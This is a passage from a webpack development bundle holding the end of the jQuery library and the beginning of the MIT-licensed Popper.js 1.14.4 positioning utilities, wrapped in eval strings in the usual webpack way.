?\n\t\t\t\t\tjQuery( elem ).position()[ prop ] + \"px\" :\n\t\t\t\t\tcomputed;\n\t\t\t}\n\t\t}\n\t);\n} );\n\n\n// Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods\njQuery.each( { Height: \"height\", Width: \"width\" }, function( name, type ) {\n\tjQuery.each( { padding: \"inner\" + name, content: type, \"\": \"outer\" + name },\n\t\tfunction( defaultExtra, funcName ) {\n\n\t\t// Margin is only for outerHeight, outerWidth\n\t\tjQuery.fn[ funcName ] = function( margin, value ) {\n\t\t\tvar chainable = arguments.length && ( defaultExtra || typeof margin !== \"boolean\" ),\n\t\t\t\textra = defaultExtra || ( margin === true || value === true ? \"margin\" : \"border\" );\n\n\t\t\treturn access( this, function( elem, type, value ) {\n\t\t\t\tvar doc;\n\n\t\t\t\tif ( isWindow( elem ) ) {\n\n\t\t\t\t\t// $( window ).outerWidth/Height return w/h including scrollbars (gh-1729)\n\t\t\t\t\treturn funcName.indexOf( \"outer\" ) === 0 ?\n\t\t\t\t\t\telem[ \"inner\" + name ] :\n\t\t\t\t\t\telem.document.documentElement[ \"client\" + name ];\n\t\t\t\t}\n\n\t\t\t\t// Get document width or height\n\t\t\t\tif ( elem.nodeType === 9 ) {\n\t\t\t\t\tdoc = elem.documentElement;\n\n\t\t\t\t\t// Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height],\n\t\t\t\t\t// whichever is greatest\n\t\t\t\t\treturn Math.max(\n\t\t\t\t\t\telem.body[ \"scroll\" + name ], doc[ \"scroll\" + name ],\n\t\t\t\t\t\telem.body[ \"offset\" + name ], doc[ \"offset\" + name ],\n\t\t\t\t\t\tdoc[ \"client\" + name ]\n\t\t\t\t\t);\n\t\t\t\t}\n\n\t\t\t\treturn value === undefined ?\n\n\t\t\t\t\t// Get width or height on the element, requesting but not forcing parseFloat\n\t\t\t\t\tjQuery.css( elem, type, extra ) :\n\n\t\t\t\t\t// Set width or height on the element\n\t\t\t\t\tjQuery.style( elem, type, value, extra );\n\t\t\t}, type, chainable ? margin : undefined, chainable );\n\t\t};\n\t} );\n} );\n\n\njQuery.each( ( \"blur focus focusin focusout resize scroll click dblclick \" +\n\t\"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave \" +\n\t\"change select submit keydown keypress keyup contextmenu\" ).split( \" \" ),\n\tfunction( i, name ) {\n\n\t// Handle event binding\n\tjQuery.fn[ name ] = function( data, fn ) {\n\t\treturn arguments.length > 0 ?\n\t\t\tthis.on( name, null, data, fn ) :\n\t\t\tthis.trigger( name );\n\t};\n} );\n\njQuery.fn.extend( {\n\thover: function( fnOver, fnOut ) {\n\t\treturn this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );\n\t}\n} );\n\n\n\n\njQuery.fn.extend( {\n\n\tbind: function( types, data, fn ) {\n\t\treturn this.on( types, null, data, fn );\n\t},\n\tunbind: function( types, fn ) {\n\t\treturn this.off( types, null, fn );\n\t},\n\n\tdelegate: function( selector, types, data, fn ) {\n\t\treturn this.on( types, selector, data, fn );\n\t},\n\tundelegate: function( selector, types, fn ) {\n\n\t\t// ( namespace ) or ( selector, types [, fn] )\n\t\treturn arguments.length === 1 ?\n\t\t\tthis.off( selector, \"**\" ) :\n\t\t\tthis.off( types, selector || \"**\", fn );\n\t}\n} );\n\n// Bind a function to a context, optionally partially applying any\n// arguments.\n// jQuery.proxy is deprecated to promote standards (specifically Function#bind)\n// However, it is not slated for removal any time soon\njQuery.proxy = function( fn, context ) {\n\tvar tmp, args, proxy;\n\n\tif ( typeof context === \"string\" ) {\n\t\ttmp = fn[ context ];\n\t\tcontext = fn;\n\t\tfn = tmp;\n\t}\n\n\t// Quick check to determine if target is callable, in the spec\n\t// this throws a TypeError, but we will just return undefined.\n\tif ( !isFunction( fn ) ) {\n\t\treturn undefined;\n\t}\n\n\t// Simulated bind\n\targs = slice.call( arguments, 2 );\n\tproxy = function() {\n\t\treturn fn.apply( context || this, args.concat( slice.call( arguments ) ) );\n\t};\n\n\t// Set the guid of unique handler to the same of original handler, so it can be removed\n\tproxy.guid = fn.guid = fn.guid || jQuery.guid++;\n\n\treturn proxy;\n};\n\njQuery.holdReady = function( hold ) {\n\tif ( hold ) {\n\t\tjQuery.readyWait++;\n\t} else {\n\t\tjQuery.ready( true );\n\t}\n};\njQuery.isArray = Array.isArray;\njQuery.parseJSON = JSON.parse;\njQuery.nodeName = nodeName;\njQuery.isFunction = isFunction;\njQuery.isWindow = isWindow;\njQuery.camelCase = camelCase;\njQuery.type = toType;\n\njQuery.now = Date.now;\n\njQuery.isNumeric = function( obj ) {\n\n\t// As of jQuery 3.0, isNumeric is limited to\n\t// strings and numbers (primitives or objects)\n\t// that can be coerced to finite numbers (gh-2662)\n\tvar type = jQuery.type( obj );\n\treturn ( type === \"number\" || type === \"string\" ) &&\n\n\t\t// parseFloat NaNs numeric-cast false positives (\"\")\n\t\t// ...but misinterprets leading-number strings, particularly hex literals (\"0x...\")\n\t\t// subtraction forces infinities to NaN\n\t\t!isNaN( obj - parseFloat( obj ) );\n};\n\n\n\n\n// Register as a named AMD module, since jQuery can be concatenated with other\n// files that may use define, but not via a proper concatenation script that\n// understands anonymous AMD modules. A named AMD is safest and most robust\n// way to register. Lowercase jquery is used because AMD module names are\n// derived from file names, and jQuery is normally delivered in a lowercase\n// file name. Do this after creating the global so that if an AMD module wants\n// to call noConflict to hide this version of jQuery, it will work.\n\n// Note that for maximum portability, libraries that are not jQuery should\n// declare themselves as anonymous modules, and avoid setting a global if an\n// AMD loader is present. jQuery is a special case. For more information, see\n// https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon\n\nif ( true ) {\n\t!(__WEBPACK_AMD_DEFINE_ARRAY__ = [], __WEBPACK_AMD_DEFINE_RESULT__ = (function() {\n\t\treturn jQuery;\n\t}).apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__),\n\t\t\t\t__WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));\n}\n\n\n\n\nvar\n\n\t// Map over jQuery in case of overwrite\n\t_jQuery = window.jQuery,\n\n\t// Map over the $ in case of overwrite\n\t_$ = window.$;\n\njQuery.noConflict = function( deep ) {\n\tif ( window.$ === jQuery ) {\n\t\twindow.$ = _$;\n\t}\n\n\tif ( deep && window.jQuery === jQuery ) {\n\t\twindow.jQuery = _jQuery;\n\t}\n\n\treturn jQuery;\n};\n\n// Expose jQuery and $ identifiers, even in AMD\n// (#7102#comment:10, https://github.com/jquery/jquery/pull/557)\n// and CommonJS for browser emulators (#13566)\nif ( !noGlobal ) {\n\twindow.jQuery = window.$ = jQuery;\n}\n\n\n\n\nreturn jQuery;\n} );\n\n\n//# sourceURL=webpack:///./node_modules/jquery/dist/jquery.js?");
/***/ }),
/***/ "./node_modules/popper.js/dist/esm/popper.js":
/*!***************************************************!*\
!*** ./node_modules/popper.js/dist/esm/popper.js ***!
\***************************************************/
/*! exports provided: default */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
eval("__webpack_require__.r(__webpack_exports__);\n/* WEBPACK VAR INJECTION */(function(global) {/**!\n * @fileOverview Kickass library to create and place poppers near their reference elements.\n * @version 1.14.4\n * @license\n * Copyright (c) 2016 Federico Zivolo and contributors\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n */\nvar isBrowser = typeof window !== 'undefined' && typeof document !== 'undefined';\n\nvar longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];\nvar timeoutDuration = 0;\nfor (var i = 0; i < longerTimeoutBrowsers.length; i += 1) {\n if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {\n timeoutDuration = 1;\n break;\n }\n}\n\nfunction microtaskDebounce(fn) {\n var called = false;\n return function () {\n if (called) {\n return;\n }\n called = true;\n window.Promise.resolve().then(function () {\n called = false;\n fn();\n });\n };\n}\n\nfunction taskDebounce(fn) {\n var scheduled = false;\n return function () {\n if (!scheduled) {\n scheduled = true;\n setTimeout(function () {\n scheduled = false;\n fn();\n }, timeoutDuration);\n }\n };\n}\n\nvar supportsMicroTasks = isBrowser && window.Promise;\n\n/**\n* Create a debounced version of a method, that's asynchronously deferred\n* but called in the minimum time possible.\n*\n* @method\n* @memberof Popper.Utils\n* @argument {Function} fn\n* @returns {Function}\n*/\nvar debounce = supportsMicroTasks ? microtaskDebounce : taskDebounce;\n\n/**\n * Check if the given variable is a function\n * @method\n * @memberof Popper.Utils\n * @argument {Any} functionToCheck - variable to check\n * @returns {Boolean} answer to: is a function?\n */\nfunction isFunction(functionToCheck) {\n var getType = {};\n return functionToCheck && getType.toString.call(functionToCheck) === '[object Function]';\n}\n\n/**\n * Get CSS computed property of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Eement} element\n * @argument {String} property\n */\nfunction getStyleComputedProperty(element, property) {\n if (element.nodeType !== 1) {\n return [];\n }\n // NOTE: 1 DOM access here\n var css = getComputedStyle(element, null);\n return property ? css[property] : css;\n}\n\n/**\n * Returns the parentNode or the host of the element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} parent\n */\nfunction getParentNode(element) {\n if (element.nodeName === 'HTML') {\n return element;\n }\n return element.parentNode || element.host;\n}\n\n/**\n * Returns the scrolling parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} scroll parent\n */\nfunction getScrollParent(element) {\n // Return body, `getScroll` will take care to get the correct `scrollTop` from it\n if (!element) {\n return document.body;\n }\n\n switch (element.nodeName) {\n case 'HTML':\n case 'BODY':\n return element.ownerDocument.body;\n case '#document':\n return element.body;\n }\n\n // Firefox want us to check `-x` and `-y` variations as well\n\n var _getStyleComputedProp = getStyleComputedProperty(element),\n overflow = _getStyleComputedProp.overflow,\n overflowX = _getStyleComputedProp.overflowX,\n overflowY = _getStyleComputedProp.overflowY;\n\n if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {\n return element;\n }\n\n return getScrollParent(getParentNode(element));\n}\n\nvar isIE11 = isBrowser && !!(window.MSInputMethodContext && document.documentMode);\nvar isIE10 = isBrowser && /MSIE 10/.test(navigator.userAgent);\n\n/**\n * Determines if the browser is Internet Explorer\n * @method\n * @memberof Popper.Utils\n * @param {Number} version to check\n * @returns {Boolean} isIE\n */\nfunction isIE(version) {\n if (version === 11) {\n return isIE11;\n }\n if (version === 10) {\n return isIE10;\n }\n return isIE11 || isIE10;\n}\n\n/**\n * Returns the offset parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} offset parent\n */\nfunction getOffsetParent(element) {\n if (!element) {\n return document.documentElement;\n }\n\n var noOffsetParent = isIE(10) ? document.body : null;\n\n // NOTE: 1 DOM access here\n var offsetParent = element.offsetParent;\n // Skip hidden elements which don't have an offsetParent\n while (offsetParent === noOffsetParent && element.nextElementSibling) {\n offsetParent = (element = element.nextElementSibling).offsetParent;\n }\n\n var nodeName = offsetParent && offsetParent.nodeName;\n\n if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {\n return element ? element.ownerDocument.documentElement : document.documentElement;\n }\n\n // .offsetParent will return the closest TD or TABLE in case\n // no offsetParent is present, I hate this job...\n if (['TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 && getStyleComputedProperty(offsetParent, 'position') === 'static') {\n return getOffsetParent(offsetParent);\n }\n\n return offsetParent;\n}\n\nfunction isOffsetContainer(element) {\n var nodeName = element.nodeName;\n\n if (nodeName === 'BODY') {\n return false;\n }\n return nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element;\n}\n\n/**\n * Finds the root node (document, shadowDOM root) of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} node\n * @returns {Element} root node\n */\nfunction getRoot(node) {\n if (node.parentNode !== null) {\n return getRoot(node.parentNode);\n }\n\n return node;\n}\n\n/**\n * Finds the offset parent common to the two provided nodes\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element1\n * @argument {Element} element2\n * @returns {Element} common offset parent\n */\nfunction findCommonOffsetParent(element1, element2) {\n // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {\n return document.documentElement;\n }\n\n // Here we make sure to give as \"start\" the element that comes first in the DOM\n var order = element1.compareDocumentPosition(element2) & Node.DOCUMENT_POSITION_FOLLOWING;\n var start = order ? element1 : element2;\n var end = order ? element2 : element1;\n\n // Get common ancestor container\n var range = document.createRange();\n range.setStart(start, 0);\n range.setEnd(end, 0);\n var commonAncestorContainer = range.commonAncestorContainer;\n\n // Both nodes are inside #document\n\n if (element1 !== commonAncestorContainer && element2 !== commonAncestorContainer || start.contains(end)) {\n if (isOffsetContainer(commonAncestorContainer)) {\n return commonAncestorContainer;\n }\n\n return getOffsetParent(commonAncestorContainer);\n }\n\n // one of the nodes is inside shadowDOM, find which one\n var element1root = getRoot(element1);\n if (element1root.host) {\n return findCommonOffsetParent(element1root.host, element2);\n } else {\n return findCommonOffsetParent(element1, getRoot(element2).host);\n }\n}\n\n/**\n * Gets the scroll value of the given element in the given side (top and left)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {String} side `top` or `left`\n * @returns {number} amount of scrolled pixels\n */\nfunction getScroll(element) {\n var side = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'top';\n\n var upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';\n var nodeName = element.nodeName;\n\n if (nodeName === 'BODY' || nodeName === 'HTML') {\n var html = element.ownerDocument.documentElement;\n var scrollingElement = element.ownerDocument.scrollingElement || html;\n return scrollingElement[upperSide];\n }\n\n return element[upperSide];\n}\n\n/*\n * Sum or subtract the element scroll values (left and top) from a given rect object\n * @method\n * @memberof Popper.Utils\n * @param {Object} rect - Rect object you want to change\n * @param {HTMLElement} element - The element from the function reads the scroll values\n * @param {Boolean} subtract - set to true if you want to subtract the scroll values\n * @return {Object} rect - The modifier rect object\n */\nfunction includeScroll(rect, element) {\n var subtract = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;\n\n var scrollTop = getScroll(element, 'top');\n var scrollLeft = getScroll(element, 'left');\n var modifier = subtract ? -1 : 1;\n rect.top += scrollTop * modifier;\n rect.bottom += scrollTop * modifier;\n rect.left += scrollLeft * modifier;\n rect.right += scrollLeft * modifier;\n return rect;\n}\n\n/*\n * Helper to detect borders of a given element\n * @method\n * @memberof Popper.Utils\n * @param {CSSStyleDeclaration} styles\n * Result of `getStyleComputedProperty` on the given element\n * @param {String} axis - `x` or `y`\n * @return {number} borders - The borders size of the given axis\n */\n\nfunction getBordersSize(styles, axis) {\n var sideA = axis === 'x' ? 'Left' : 'Top';\n var sideB = sideA === 'Left' ? 'Right' : 'Bottom';\n\n return parseFloat(styles['border' + sideA + 'Width'], 10) + parseFloat(styles['border' + sideB + 'Width'], 10);\n}\n\nfunction getSize(axis, body, html, computedStyle) {\n return Math.max(body['offset' + axis], body['scroll' + axis], html['client' + axis], html['offset' + axis], html['scroll' + axis], isIE(10) ? parseInt(html['offset' + axis]) + parseInt(computedStyle['margin' + (axis === 'Height' ? 'Top' : 'Left')]) + parseInt(computedStyle['margin' + (axis === 'Height' ? 'Bottom' : 'Right')]) : 0);\n}\n\nfunction getWindowSizes(document) {\n var body = document.body;\n var html = document.documentElement;\n var computedStyle = isIE(10) && getComputedStyle(html);\n\n return {\n height: getSize('Height', body, html, computedStyle),\n width: getSize('Width', body, html, computedStyle)\n };\n}\n\nvar classCallCheck = function (instance, Constructor) {\n if (!(instance instanceof Constructor)) {\n throw new TypeError(\"Cannot call a class as a function\");\n }\n};\n\nvar createClass = function () {\n function defineProperties(target, props) {\n for (var i = 0; i < props.length; i++) {\n var descriptor = props[i];\n descriptor.enumerable = descriptor.enumerable || false;\n descriptor.configurable = true;\n if (\"value\" in descriptor) descriptor.writable = true;\n Object.defineProperty(target, descriptor.key, descriptor);\n }\n }\n\n return function (Constructor, protoProps, staticProps) {\n if (protoProps) defineProperties(Constructor.prototype, protoProps);\n if (staticProps) defineProperties(Constructor, staticProps);\n return Constructor;\n };\n}();\n\n\n\n\n\nvar defineProperty = function (obj, key, value) {\n if (key in obj) {\n Object.defineProperty(obj, key, {\n value: value,\n enumerable: true,\n configurable: true,\n writable: true\n });\n } else {\n obj[key] = value;\n }\n\n return obj;\n};\n\nvar _extends = Object.assign || function (target) {\n for (var i = 1; i < arguments.length; i++) {\n var source = arguments[i];\n\n for (var key in source) {\n if (Object.prototype.hasOwnProperty.call(source, key)) {\n target[key] = source[key];\n }\n }\n }\n\n return target;\n};\n\n/**\n * Given element offsets, generate an output similar to getBoundingClientRect\n * @method\n * @memberof Popper.Utils\n * @argument {Object} offsets\n * @returns {Object} ClientRect like output\n */\nfunction getClientRect(offsets) {\n return _extends({}, offsets, {\n right: offsets.left + offsets.width,\n bottom: offsets.top + offsets.height\n });\n}\n\n/**\n * Get bounding client rect of given element\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} element\n * @return {Object} client rect\n */\nfunction getBoundingClientRect(element) {\n var rect = {};\n\n // IE10 10 FIX: Please, don't ask, the element isn't\n // considered in DOM in some circumstances...\n // This isn't reproducible in IE10 compatibility mode of IE11\n try {\n if (isIE(10)) {\n rect = element.getBoundingClientRect();\n var scrollTop = getScroll(element, 'top');\n var scrollLeft = getScroll(element, 'left');\n rect.top += scrollTop;\n rect.left += scrollLeft;\n rect.bottom += scrollTop;\n rect.right += scrollLeft;\n } else {\n rect = element.getBoundingClientRect();\n }\n } catch (e) {}\n\n var result = {\n left: rect.left,\n top: rect.top,\n width: rect.right - rect.left,\n height: rect.bottom - rect.top\n };\n\n // subtract scrollbar size from sizes\n var sizes = element.nodeName === 'HTML' ? getWindowSizes(element.ownerDocument) : {};\n var width = sizes.width || element.clientWidth || result.right - result.left;\n var height = sizes.height || element.clientHeight || result.bottom - result.top;\n\n var horizScrollbar = element.offsetWidth - width;\n var vertScrollbar = element.offsetHeight - height;\n\n // if an hypothetical scrollbar is detected, we must be sure it's not a `border`\n // we make this check conditional for performance reasons\n if (horizScrollbar || vertScrollbar) {\n var styles = getStyleComputedProperty(element);\n horizScrollbar -= getBordersSize(styles, 'x');\n vertScrollbar -= getBordersSize(styles, 'y');\n\n result.width -= horizScrollbar;\n result.height -= vertScrollbar;\n }\n\n return getClientRect(result);\n}\n\nfunction getOffsetRectRelativeToArbitraryNode(children, parent) {\n var fixedPosition = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;\n\n var isIE10 = isIE(10);\n var isHTML = parent.nodeName === 'HTML';\n var childrenRect = getBoundingClientRect(children);\n var parentRect = getBoundingClientRect(parent);\n var scrollParent = getScrollParent(children);\n\n var styles = getStyleComputedProperty(parent);\n var borderTopWidth = parseFloat(styles.borderTopWidth, 10);\n var borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);\n\n // In cases where the parent is fixed, we must ignore negative scroll in offset calc\n if (fixedPosition && isHTML) {\n parentRect.top = Math.max(parentRect.top, 0);\n parentRect.left = Math.max(parentRect.left, 0);\n }\n var offsets = getClientRect({\n top: childrenRect.top - parentRect.top - borderTopWidth,\n left: childrenRect.left - parentRect.left - borderLeftWidth,\n width: childrenRect.width,\n height: childrenRect.height\n });\n offsets.marginTop = 0;\n offsets.marginLeft = 0;\n\n // Subtract margins of documentElement in case it's being used as parent\n // we do this only on HTML because it's the only element that behaves\n // differently when margins are applied to it. The margins are included in\n // the box of the documentElement, in the other cases not.\n if (!isIE10 && isHTML) {\n var marginTop = parseFloat(styles.marginTop, 10);\n var marginLeft = parseFloat(styles.marginLeft, 10);\n\n offsets.top -= borderTopWidth - marginTop;\n offsets.bottom -= borderTopWidth - marginTop;\n offsets.left -= borderLeftWidth - marginLeft;\n offsets.right -= borderLeftWidth - marginLeft;\n\n // Attach marginTop and marginLeft because in some circumstances we may need them\n offsets.marginTop = marginTop;\n offsets.marginLeft = marginLeft;\n }\n\n if (isIE10 && !fixedPosition ? parent.contains(scrollParent) : parent === scrollParent && scrollParent.nodeName !== 'BODY') {\n offsets = includeScroll(offsets, parent);\n }\n\n return offsets;\n}\n\nfunction getViewportOffsetRectRelativeToArtbitraryNode(element) {\n var excludeScroll = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;\n\n var html = element.ownerDocument.documentElement;\n var relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);\n var width = Math.max(html.clientWidth, window.innerWidth || 0);\n var height = Math.max(html.clientHeight, window.innerHeight || 0);\n\n var scrollTop = !excludeScroll ? getScroll(html) : 0;\n var scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;\n\n var offset = {\n top: scrollTop - relativeOffset.top + relativeOffset.marginTop,\n left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,\n width: width,\n height: height\n };\n\n return getClientRect(offset);\n}\n\n/**\n * Check if the given element is fixed or is inside a fixed parent\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {Element} customContainer\n * @returns {Boolean} answer to \"isFixed?\"\n */\nfunction isFixed(element) {\n var nodeName = element.nodeName;\n if (nodeName === 'BODY' || nodeName === 'HTML') {\n return false;\n }\n if (getStyleComputedProperty(element, 'position') === 'fixed') {\n return true;\n }\n return isFixed(getParentNode(element));\n}\n\n/**\n * Finds the first parent of an element that has a transformed property defined\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} first transformed parent or documentElement\n */\n\nfunction getFixedPositionOffsetParent(element) {\n // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n if (!element || !element.parentElement || isIE()) {\n return document.documentElement;\n }\n var el = element.parentElement;\n while (el && getStyleComputedProperty(el, 'transform') === 'none') {\n el = el.parentElement;\n }\n return el || document.documentElement;\n}\n\n/**\n * Computed the boundaries limits and return them\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} popper\n * @param {HTMLElement} reference\n * @param {number} padding\n * @param {HTMLElement} boundariesElement - Element used to define the boundaries\n * @param {Boolean} fixedPosition - Is in fixed position mode\n * @returns {Object} Coordinates of the boundaries\n */\nfunction getBoundaries(popper, reference, padding, boundariesElement) {\n var fixedPosition = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : false;\n\n // NOTE: 1 DOM access here\n\n var boundaries = { top: 0, left: 0 };\n var offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n\n // Handle viewport case\n if (boundariesElement === 'viewport') {\n boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);\n } else {\n // Handle other cases based on DOM element used as boundaries\n var boundariesNode = void 0;\n if (boundariesElement === 'scrollParent') {\n boundariesNode = getScrollParent(getParentNode(reference));\n if (boundariesNode.nodeName === 'BODY') {\n boundariesNode = popper.ownerDocument.documentElement;\n }\n } else if (boundariesElement === 'window') {\n boundariesNode = popper.ownerDocument.documentElement;\n } else {\n boundariesNode = boundariesElement;\n }\n\n var offsets = getOffsetRectRelativeToArbitraryNode(boundariesNode, offsetParent, fixedPosition);\n\n // In case of HTML, we need a different computation\n if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {\n var _getWindowSizes = getWindowSizes(popper.ownerDocument),\n height = _getWindowSizes.height,\n width = _getWindowSizes.width;\n\n boundaries.top += offsets.top - offsets.marginTop;\n boundaries.bottom = height + offsets.top;\n boundaries.left += offsets.left - offsets.marginLeft;\n boundaries.right = width + offsets.left;\n } else {\n // for all the other DOM elements, this one is good\n boundaries = offsets;\n }\n }\n\n // Add paddings\n padding = padding || 0;\n var isPaddingNumber = typeof padding === 'number';\n boundaries.left += isPaddingNumber ? padding : padding.left || 0;\n boundaries.top += isPaddingNumber ? padding : padding.top || 0;\n boundaries.right -= isPaddingNumber ? padding : padding.right || 0;\n boundaries.bottom -= isPaddingNumber ? padding : padding.bottom || 0;\n\n return boundaries;\n}\n\nfunction getArea(_ref) {\n var width = _ref.width,\n height = _ref.height;\n\n return width * height;\n}\n\n/**\n * Utility used to transform the `auto` placement to the placement with more\n * available space.\n * @method\n * @memberof Popper.Utils\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction computeAutoPlacement(placement, refRect, popper, reference, boundariesElement) {\n var padding = arguments.length > 5 && arguments[5] !== undefined ? arguments[5] : 0;\n\n if (placement.indexOf('auto') === -1) {\n return placement;\n }\n\n var boundaries = getBoundaries(popper, reference, padding, boundariesElement);\n\n var rects = {\n top: {\n width: boundaries.width,\n height: refRect.top - boundaries.top\n },\n right: {\n width: boundaries.right - refRect.right,\n height: boundaries.height\n },\n bottom: {\n width: boundaries.width,\n height: boundaries.bottom - refRect.bottom\n },\n left: {\n width: refRect.left - boundaries.left,\n height: boundaries.height\n }\n };\n\n var sortedAreas = Object.keys(rects).map(function (key) {\n return _extends({\n key: key\n }, rects[key], {\n area: getArea(rects[key])\n });\n }).sort(function (a, b) {\n return b.area - a.area;\n });\n\n var filteredAreas = sortedAreas.filter(function (_ref2) {\n var width = _ref2.width,\n height = _ref2.height;\n return width >= popper.clientWidth && height >= popper.clientHeight;\n });\n\n var computedPlacement = filteredAreas.length > 0 ? filteredAreas[0].key : sortedAreas[0].key;\n\n var variation = placement.split('-')[1];\n\n return computedPlacement + (variation ? '-' + variation : '');\n}\n\n/**\n * Get offsets to the reference element\n * @method\n * @memberof Popper.Utils\n * @param {Object} state\n * @param {Element} popper - the popper element\n * @param {Element} reference - the reference element (the popper will be relative to this)\n * @param {Element} fixedPosition - is in fixed position mode\n * @returns {Object} An object containing the offsets which will be applied to the popper\n */\nfunction getReferenceOffsets(state, popper, reference) {\n var fixedPosition = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : null;\n\n var commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);\n}\n\n/**\n * Get the outer sizes of the given element (offset size + margins)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Object} object containing width and height properties\n */\nfunction getOuterSizes(element) {\n var styles = getComputedStyle(element);\n var x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);\n var y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);\n var result = {\n width: element.offsetWidth + y,\n height: element.offsetHeight + x\n };\n return result;\n}\n\n/**\n * Get the opposite placement of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement\n * @returns {String} flipped placement\n */\nfunction getOppositePlacement(placement) {\n var hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };\n return placement.replace(/left|right|bottom|top/g, function (matched) {\n return hash[matched];\n });\n}\n\n/**\n * Get offsets to the popper\n * @method\n * @memberof Popper.Utils\n * @param {Object} position - CSS position the Popper will get applied\n * @param {HTMLElement} popper - the popper element\n * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)\n * @param {String} placement - one of the valid placement options\n * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper\n */\nfunction getPopperOffsets(popper, referenceOffsets, placement) {\n placement = placement.split('-')[0];\n\n // Get popper node sizes\n var popperRect = getOuterSizes(popper);\n\n // Add position, width and height to our offsets object\n var popperOffsets = {\n width: popperRect.width,\n height: popperRect.height\n };\n\n // depending by the popper placement we have to compute its offsets slightly differently\n var isHoriz = ['right', 'left'].indexOf(placement) !== -1;\n var mainSide = isHoriz ? 'top' : 'left';\n var secondarySide = isHoriz ? 'left' : 'top';\n var measurement = isHoriz ? 'height' : 'width';\n var secondaryMeasurement = !isHoriz ? 'height' : 'width';\n\n popperOffsets[mainSide] = referenceOffsets[mainSide] + referenceOffsets[measurement] / 2 - popperRect[measurement] / 2;\n if (placement === secondarySide) {\n popperOffsets[secondarySide] = referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];\n } else {\n popperOffsets[secondarySide] = referenceOffsets[getOppositePlacement(secondarySide)];\n }\n\n return popperOffsets;\n}\n\n/**\n * Mimics the `find` method of Array\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nfunction find(arr, check) {\n // use native find if supported\n if (Array.prototype.find) {\n return arr.find(check);\n }\n\n // use `filter` to obtain the same behavior of `find`\n return arr.filter(check)[0];\n}\n\n/**\n * Return the index of the matching object\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nfunction findIndex(arr, prop, value) {\n // use native findIndex if supported\n if (Array.prototype.findIndex) {\n return arr.findIndex(function (cur) {\n return cur[prop] === value;\n });\n }\n\n // use 